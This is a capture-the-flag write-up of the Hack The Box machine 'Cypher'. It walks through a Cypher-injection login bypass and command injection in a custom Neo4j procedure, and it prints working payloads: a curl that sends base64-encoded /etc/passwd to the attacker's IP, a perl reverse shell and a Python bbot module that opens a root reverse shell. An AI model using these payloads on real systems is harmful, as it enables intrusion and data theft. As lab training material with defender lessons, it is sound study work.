Cypher
2025-03-02
INTRODUCTION
Cypher was released for week 8 of HTB’s season 7 Vice. It’s marked as Medium difficulty, not because the individual steps were hard, but probably more due the number of steps. In my opinion, this was more of an Easy.
Recon was really easy. A quick “spider” of the target website and some directory enumeration is all you’ll need. This will point you towards both the authentication endpoint and a directory that still has directory listing enabled.
Foothold is also very easy. Inside the directory with directory listing enabled, there should be a .jar file. Examining the contents of the jar file (and keeping the box name in mind) will point you in the right direction for the next step. One tip: the app was left in Debug mode, so try to produce some errors in the web app to learn more about its source code. We’re ultimately trying to gain access to a service that has no Registration page, so use your CTF-running brain and try to infer what that might mean…
We’ll gain access to the authenticated endpoint, which gives us a web interface for interacting with the database. Thankfully, we’ve already seen everything we need to gain code execution. Find the command injection, and you’ll be able to pop a reverse shell.
To obtain the user flag, we need to pivot to the next user. My only advice is to be sure to check everyone’s home directories.
Root flag was a little more interesting. It showcases a scanning/recon tool made primarily by the box author themselves. Thankfully, it’s really well-documented; all that’s really necessary to get the root flag is to read a little documentation. I challenged myself to not just stop at the flag, to continue to gaining a full root shell - and I’d suggest you do the same!
Cypher made for a quick and satisfying box. I’d highly recommend it to anyone that wants to practice good fundamentals, but in an environment that hasn’t been done a million times 👍

Check out the hands on the righthand lady: double pinky-thumbs! 👐
RECON
nmap scans
Port scan
I’ll start by setting up a directory for the box, with an nmap subdirectory. I’ll set $RADDR to the target machine’s IP and scan it with a TCP port scan over all 65535 ports:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_ 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
Vuln scan
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
No new results.
UDP scan
To be thorough, I’ll also do a scan over the common UDP ports. UDP scans take quite a bit longer, so I limit it to only common ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
No results.
Webserver Strategy
Noting the redirect from the nmap scan, I’ll add cypher.htb to my /etc/hosts and do banner-grabbing for the web server:
DOMAIN=cypher.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR

(Sub)domain enumeration
Next I’ll perform vhost and subdomain enumeration. First, I’ll check for alternate domains at this address:
WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

Only the domain we already knew about. Next I’ll check for subdomains of cypher.htb:
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v
No new results from that.
Directory enumeration
I’ll move on to directory enumeration. First, I’ll check http://cypher.htb using a ZAP “spider” attack:

Cool, so there’s clearly an API and its mostly just used for authentication.
I prefer to not run a recursive scan, so that it doesn’t get hung up on enumerating CSS and images.
WLIST=/usr/share/wordlists/dirs-and-files.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -ic -c -o fuzzing/ffuf-directories-root -of json -timeout 4 -v

Whoa! Lots of results there. api redirects to api/docs, and the testing directory was unknown previously.
Let’s fuzz the API a little, too:
WLIST=/usr/share/wordlists/dirs-and-files.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -ic -c -o fuzzing/ffuf-directories-root -of json -timeout 4 -v

The only result is the one we already knew.
Exploring the Website
Next I’ll browse the target website manually a little.
I find it’s really helpful to turn on a web proxy while I browse the target for the first time, so I’ll turn on FoxyProxy and open up ZAP.
The target looks like it’s a website some kind of attack surface management software 🙄

Their “About” page is incoherent AI-generated drivel. The only really notable thing is that they repeat over and over that they are definitely closed-source. 👎 boo
There is also a login page, but no registration:

The /api page redirects to /api/docs:

It looks like the “Not Found” probably corresponds to HTTP 404, since when we visit /api/auth we get "Method Not Allowed" in the same place (and the request gives an HTTP 405 response)
The /testing page is where things start to look a little interesting:

Very odd to leave directory listing turned on intentionally. Let’s download and extract this .jar file.
FOOTHOLD
JAR file
I’ll start by extracting the file. It should be a whole java package inside.
jar -f ./custom-apoc-extension-1.0-SNAPSHOT.jar --extract
But since I have JD-GUI already, I’ll just open it there. Immediately I see some vulnerable code in the CustomFunctions class:

It doesn’t seem relevant right now, but check out the structure of the java we have open - it’s for neo4j, an APOC extension:

💡 Aha… this connects the About Us page clue: Neo4J Community Edition is famously NOT open-source, even though it has an enterprise release with an open source license.
Also, the name of the box is Cypher, which is also the name of the query language used with Neo4J.
Unfortunately, this .jar file doesn’t contain a whole application, and it’s unclear where (or if) this code is used on the target.
Login form
I started with some low effort brute-forcing (less than 1000 guesses) and didn’t get any results. If you’re interested, I followed the procedure I have written here.
What about authentication bypasses though? Could I try a simple SQL injection? I’ll try the good ol’ admin' OR '1'='1:

Aha! We got it to spit out quite a bit of error text. It disappears fast, but I caught it on my clipboard. Here it is:

i.e. the important part is the final line, that shows us the query it’s performing. Unsurprisingly, it’s written in Cypher:
MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'admin' OR '1'='1'' return h.value as hash
This is great. It tells us a few facts:
- We know that Cypher injection is definitely possible, since we were able to cause this error (of unmatched quotation marks)
- The query we need to inject into is really simple, and looks vulnerable to a simple auth bypass
- We know the password hashing algorithm is SHA1
Auth Bypass
We just saw the query that the login form uses. It appears to happen in two stages, only one of which we can observe through the error code:
- Look up a user according to their username, return their password
- Check that the retrieved password hash matches the SHA1 hash of the provided password
If the username and password check were within the same query (and assuming that the password field is also injectible) we could do something like this:
MATCH (u:USER) -[:SECRET]-> (h:SHA1)
WHERE u.name = 'myusername' OR '1'='1' AND h.value = 'mypassword' OR '1'='1'
RETURN u.name as username
And that would let us in. However, this isn’t our scenario - out authentication takes two steps.
Therefore, we must force the system to not return h.value, but actually to just return our own predetermined hash instead!
echo -n 'password' | shasum
# 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 -
Now we should by able to bypass the username check with a boolean, and return our own password SHA1 hash. The injection would be admin' OR 1=1 return '5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8' as hash //.
We need to use the password that matches this hash, which is “password”

👏 The auth bypass was successful:

It looks like this whole “demo” is just a web-based interface for Neo4J with a few prewritten queries. Thankfully, they let us perform free-form queries too.
Since we’re not even authenticated as a user, we should first try to dump the users/passwords:
MATCH (u:USER) -[:SECRET]-> (h:SHA1) return u, h
This shows that there’s actually only one user:
[
{
"u": {
"name": "graphasm"
},
"h": {
"value": "9f54ca4c130be6d529a56dee59dc2b2090e43acf"
}
}
]
Great, so we have a password hash. Can we crack it?
⏩ No, seems like we can’t crack it. I tried a few wordlists and a few other (less likely) formats - no success.
Neo4J Java Procedure
Personally, I’m not very familiar with Neo4J or Cypher. Thankfully, I’ve found a couple really handy resources.
While reading throught the “Cypher Cheat Sheet” from the official documentation, I came across a section describing how to CALL a Java stored procedure. That definitely sounds like what the contents of that .jar file were:
package com.cypher.neo4j.apoc;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Arrays;
import java.util.concurrent.TimeUnit;
import java.util.stream.Stream;
import org.neo4j.procedure.Description;
import org.neo4j.procedure.Mode;
import org.neo4j.procedure.Name;
import org.neo4j.procedure.Procedure;
public class CustomFunctions {
@Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)
@Description("Returns the HTTP status code for the given URL as a string")
public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://"))
url = "https://" + url;
String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };
System.out.println("Command: " + Arrays.toString((Object[])command));
Process process = Runtime.getRuntime().exec(command);
// ...
This says to me that there is a procedure named custom.getUrlStatusCode that takes one string argument named url. Let’s try calling this procedure, to see if the .jar is even loaded into the database:

😮 The procedure looks like it loaded. Plus, we can see that it’s complaining about us not including the url parameter. This is perfect!
To prepare for playing with this function, I’ll start up an HTTP server:
sudo ufw allow from $RADDR to any port 4444,8000 proto tcp simple-server 8000 -vAnd in a separate terminal tab, I’ll start a reverse shell listener:
bash nc -lvnp 4444
I tried providing the url parameter as a map (custom.getUrlStatusCode({url:'http://10.10.14.147:8000'})) but that caused a TypeError.
The correct way is to just pass it a string normally:
CALL custom.getUrlStatusCode('http://10.10.14.147:8000')
After a moment, we see the status code appear in the results pane:

And we can see the request at the HTTP server, too:

Next let’s try injecting something. I’ll do a simple nc connection (not a reverse shell) after the cURL request:
CALL custom.getUrlStatusCode('http://10.10.14.147:8000; nc 10.10.14.147 4444')

Reverse Shell
I was having trouble turning the command injection into a reverse shell right away, so I decided to try out a file read instead. This was the command:
I think the problem was that this method (for some reason TBD) blocks the ampersand character. Thing like a typical bash reverse shell were problematic.
CALL custom.getUrlStatusCode('http://10.10.14.147:8000; F=$(cat /etc/passwd|base64 -w 0); curl "http://10.10.14.147:8000/?b64=$F"')
My http server received and decoded the request:

I used the same trick to check the value of $USER - unsurprisingly we’re running as neo4j.
Next I’ll check what useful scripting languages we have that might be used for a reverse shell:
CALL custom.getUrlStatusCode('http://10.10.14.147:8000; F=$(which python php perl |base64 -w 0); curl "http://10.10.14.147:8000/?b64=$F"')

Alright, perl it is! Let’s put together a reverse shell (remember to escape the quotes properly):
CALL custom.getUrlStatusCode('http://10.10.14.147:8000; perl -MIO -e \'$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.14.147:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;\'')

Upgrade the Shell
I’ll take a moment to upgrade the shell. For more details, see my guide:
which python python3
# python3 is present
python3 -c 'import pty; pty.spawn("/bin/bash")'
[ctrl+Z]
stty raw -echo; fg [Enter] [Enter]
export TERM=xterm-256color; export SHELL=bash; alias ll="ls -lah"
USER FLAG
Toolbox
I’ll transfer over my usual toolbox. I have a script that stands up an http server, then serves all of my usual tools. There is a corresponding script for downloading the tools from that server. More recently I’ve added a portable copy of tmux and some other niceties.
I won’t write out the scripts here, but the result is just a few tools, environment variables, and aliases - including the following:
- Pspy
- Linux exploit suggester
- Autoenumeration scripts (like Linpeas)
- Chisel

Aside: Chisel SOCKS Proxy
Early during local user enumeration I found a couple ports that I can only access from the target. To allow my attacker host to reach them, I’ll set up a SOCKS proxy using chisel. I’ll begin by opening a firewall port and starting the
chiselserver:☝️ Note: I already have proxychains installed, and my
/etc/proxychains.conffile ends with:socks5 127.0.0.1 1080sudo ufw allow from $RADDR to any port 9999 proto tcp ./chisel server --port 9999 --reverseThen, on the target machine, start up the chisel client and background it:
./chisel client 10.10.14.147:9999 R:1080:socks &To test that it worked, I tried a round-trip test (attacker -> target -> attacker) to access loading the index page from my local python webserver hosting my toolbox:
proxychains curl http://10.10.14.147:8000 # Loads my index page, from the perspective of the targetSuccess 👍
Local Enumeration - neo4j
First, I’ll take a look around the filesystem. There are some neo4j creds in two places, in both the home directories of neo4j and graphasm:


For copy-pasting sake, that credential is: ne4j : cU4btyib.20xtCMCXkBmerhK
neo4j web interface
🚫 This section didn’t lead to any progress on the box, just some contextual info. If you’re short on time, please feel free to skip ahead to the next section.
Since we already have a SOCKS5 proxy going, let’s try connecting to Neo4J through the web interface and see if there’s anything new
Note that my browser is using FoxyProxy to proxy through
localhost:1080

⚠️ Connecting took a couple tries. I don’t think I was doing anything wrong, just the connection is a little flaky.
We can check the same query for password hashes:

Honestly, I think I’m looking at the same info as before. Nothing new. It’s a little easier now though, since I can see what node labels and relationships exist:

Auto-enumeration scripts
As mentioned earlier, I grabbed Linpeas when I served the rest of my toolbox to the target host.
Unfortunately, Linpeas didn’t really find anything I hadn’t already seen…
Credential reuse
Unfortunately, I’m running out of ideas for enumeration. I’ll go back to my local enum checklist and see if I missed anything 🤔
I realized that I violated one of my own rules: I found new credentials but neglected to test them against all services that have authentication. I used the creds successfully on the service they were assigned for, but didn’t check for re-use.
| Creds | Service with authentication | |
|---|---|---|
| ✅ | neo4j : cU4btyib.20xtCMCXkBmerhK | Neo4J DB |
| ❌ | neo4j : cU4btyib.20xtCMCXkBmerhK | SSH |
| ❌ | graphasm : cU4btyib.20xtCMCXkBmerhK | Neo4J DB |
| ✅ | graphasm : cU4btyib.20xtCMCXkBmerhK | SSH |
I wasn’t really expecting that last one! That’s great - now we have an SSH connection:

🎉 The SSH connection drops us into /home/graphasm adjacent to the user flag (which we already saw, but couldn’t access):
cat /home/graphasm/user.txt
ROOT FLAG
Local enumeration - graphasm
It looks like graphasm can sudo one thing. In HTB, this means it’s an extremely likely privesc vector 🙂
(ALL) NOPASSWD: /usr/local/bin/bbot
This must be related to the file we saw earlier (that had neo4j creds inside), /home/graphasm/bbot_preset.yml:
targets:
- ecorp.htb
output_dir: /home/graphasm/bbot_scans
config:
modules:
neo4j:
username: neo4j
password: cU4btyib.20xtCMCXkBmerhK
The executable we can run as sudo is actually just a simple python script that calls another script:
#!/opt/pipx/venvs/bbot/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from bbot.cli import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(main())
BBOT Documentation
This bbot thing is clearly this recon/scanning tool from blacklanternsecurity. It seems pretty cool. Maybe if I were doing bug bounty full-time I’d have a good use for it. Seems like it can do all my typical recon tasks, and deal with many other automatable scans and vulnerability tests.
I’ll look through the documentation and see if there’s any way we can:
- Perform file reads
- Read the flag directly, then exfil it
- Perform file writes
- Plant an SSH key, or write to /etc/shadow
- Code execution
- Create a subshell, or maybe a reverse shell
Reading files
After a thorough review of the documentation, I’ve found five ways to make the script read particular files:
- Pretend the file is the targets list file, and read it. This is core functionality, so it should probably be the first thing I try. The
-toption might be useful. - Use a
FILESYSTEMtarget, include.txtin the file extensions whitelist, then use thefiledownloadermodule to grab anytxtfile that theFILESYSTEMtarget provides. Depending on the output format, I should be able to read the file contents through the logs. - Read a presets file. This is a
ymlfile that determines which scanning modules and stuff get loaded, how output is generated, etc. The-poption to load a presets file and the--current-presetoption to display the values might be useful. - Read a file by “loading a module”. We need to define the module path then provide the module as an argument. As far as I can tell, the modules need to be python - but is there any validation on the modules?
- Define custom YARA rules and load that file - does anything recklessly reflect the YARA rules?
Since the program requires a target (or list of targets) to be defined, the -t option is almost core funcitonality (I say “almost” because the targets can also be defined in a Presets file). That means it’ll probably be best-documented but least-likely to be buggy 🤷♂️
By default, the output directory is in
~/.bbot. When we run this withsudo, that directory is inside/root… therefore it is necessary to define an output directory with-o.
Let’s try it out!
sudo /usr/local/bin/bbot -t /root/root.txt -o /tmp/.Tools2/scans

The output/log file should contain a list of which target it attempted to contact. Let’s read it:
cat /tmp/.Tools2/scans/inebriated_ella/output.txt

Oh whoa - there’s the flag! That was really easy 😂
I’ll admit though, I’m not entirely satisfied finishing this one off without a root shell 😐
EXTRA CREDIT
Root shell
It doesn’t sit well with me, leaving a box without getting a root shell. I’m sure there’s a way I could achieve this without too much work.
The most promising feature seems to be the modules system. I should be able to write a module (or an output module) that gets me some kind of code execution, whether it’s a subshell or a reverse shell or whatever.
Following their official guide on creating custom modules, I started with a simple python class that imports and inherits the BaseModule
from bbot.modules.base import BaseModule
class revshell(BaseModule):
watched_events = ["DNS_NAME"]
produced_events = ["DNS_NAME"]
flags = ["passive", "safe"]
meta = {
"description": "Python reverse shell module",
"created_date": "2025-03-02",
"author": "@4wayhandshake",
}
async def setup(self):
return True
async def handle_event(self, event):
pass
So far, this module doesn’t do anything. Let’s add in some initialization code, and give it config options for the reverse shell listener’s IP address and port:
from bbot.modules.base import BaseModule
class revshell(BaseModule):
# ...
options = {
"addr": "10.10.14.147",
"port": "4444"
}
options_desc = {
"addr": "Reverse shell listener IP address",
"port": "Reverse shell listener port"
}
async def setup(self):
self.listener_addr = self.config.get("addr", "10.10.14.147")
self.listener_port = int(self.config.get("port", "4444"))
if not (0 <= self.listener_port <= 65535):
raise ValueError(f"The provided reverse shell listener port is invalid: {self.listener_port}")
print(f'[INFO] Forming reverse shell with {self.listener_addr}:{self.listener_port}')
return True
async def handle_event(self, event):
pass
Looks good so far. If you tried to use this module, it would run - it just wouldn’t do anything. Let’s add in the reverse shell next. I’ll use the “Python3 #2” one from revshells.com:
from bbot.modules.base import BaseModule
import socket, subprocess, os
import pty
class revshell(BaseModule):
# ...
async def setup(self):
# ...
await self.revshell()
return True
async def revshell(self):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((self.listener_addr,self.listener_port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("bash")
async def handle_event(self, event):
pass
Perfect. If I place this with my other modules (the preinstalled ones), it works perfectly. So how can I define a custom modules directory? As it turns out, the trick is using a presets file. I couldn’t get it to work any other way.
It is, however, pretty convenient to put the address and port inside the presets file instead of passing them as CLI args
targets:
- http://10.10.14.147:8000
output_dir: /tmp/.Tools/scans
module_dirs:
- /tmp/.Tools
modules:
- revshell
config:
modules:
revshell:
addr: "10.10.14.147"
port: "4444"
I think the target is actually irrelevant; the reverse shell will fire as soon as the module deploys.
I’ll serve these two files to the target, over HTTP:
- revshell.py
- preset.yml
Since everything is defined within this presets file the only option we need to give bbot is -p:
mkdir -p /tmp/.Tools; cd /tmp/.Tools
curl -sO http://10.10.14.147:8000/preset.yml
curl -sO http://10.10.14.147:8000/revshell.py
vim preset.yml # Check that the listener IP address and port
sudo /usr/local/bin/bbot -p ./preset.yml
👇 Target is in the lefthand pane; attacker http server is top-right, reverse shell listener is bottom-right.

🍰 Not too bad!
CLEANUP
Target
I’ll get rid of the spot where I place my tools, /tmp/.Tools:
rm -rf /tmp/.Tools
Attacker
There’s also a little cleanup to do on my local / attacker machine. I downloaded BBOT to play with it, so I’ll get rid of that now:
rm -rf ./exploit/bbot
It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:
NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;
LESSONS LEARNED

Attacker
✔️ Use purpose-specific checklists. It will help you to stay pointed in the right direction when things get a little confusing. Thankfully on this box I had the good sense to check for traditional auth bypasses. The lack of registration is a major clue to try this out.
↩️ Don’t fixate on reverse shells for foothold. We can run into some weird problems when trying to open a reverse shell: it’s always best to test everything in small reproducible steps. Sometimes, a reverse shell won’t even be possible. Know enough about your target to do something useful even if you can’t pop a shell.
👓 Reading documentation is faster than finding bugs manually. It is almost always a good tradeoff to take a quick look through the documentation of any software you’re trying to exploit. Honestly, a surprising amount of documentation will plainly tell you when a feature is insecure, and caution you away from using that feature (ex. Python Pickle does this well)
- 🔒 Remember credential reuse. During this box, I forgot to check every possible combination of credential + service… and it really bit me!

Defender
🎒 Use prepared statements every time. Cypher injection has the same risks and same mitigations as traditional nosql-injection. There is no reason to avoid using prepared statements. Honestly, it even makes the code a little shorter and more expressive.
🌍 Testing / development code should not be accessible from the internet. Using some very simple directory enumeration, we found some insecure code and were able to utilize it, whitebox-style. Be very careful about how pre-production code is distributed or posted.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake
